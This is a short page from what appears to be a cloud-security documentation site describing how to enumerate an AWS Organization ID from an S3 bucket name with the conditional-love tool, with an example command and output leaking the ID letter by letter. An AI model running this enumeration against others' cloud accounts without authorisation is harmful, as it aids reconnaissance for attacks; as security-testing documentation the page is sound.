> For the complete documentation index, see [llms.txt](https://www.techwithtyler.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-attacks-and-techniques/enumerate-aws-organization-id.md).

# Enumerate AWS Organization ID

## Methods to Enumerate AWS Organization ID

### Using an S3 Bucket Name

* Knowing the name of an AWS S3 bucket, we can use [conditional-love](https://github.com/plerionhq/conditional-love) to identify the organization ID
* The bucket <mark style="color:red;">must be public</mark> or otherwise accessible by the IAM Role used&#x20;

{% code overflow="wrap" %}

```bash
./conditional-love.py --profile dev --role arn:aws:iam::111111111111:role/s3-cracker --target tylerguessmyorg --action=s3:HeadObject --condition=aws:ResourceOrgID --alphabet=abcdefghijklmnopqrstuvwxyz-

Starting to be wrong. Please be patient...
=> o
=> o-
=> o-a
=> o-ab
=> o-abe
=> o-abek
=> o-abekz
```

{% endcode %}
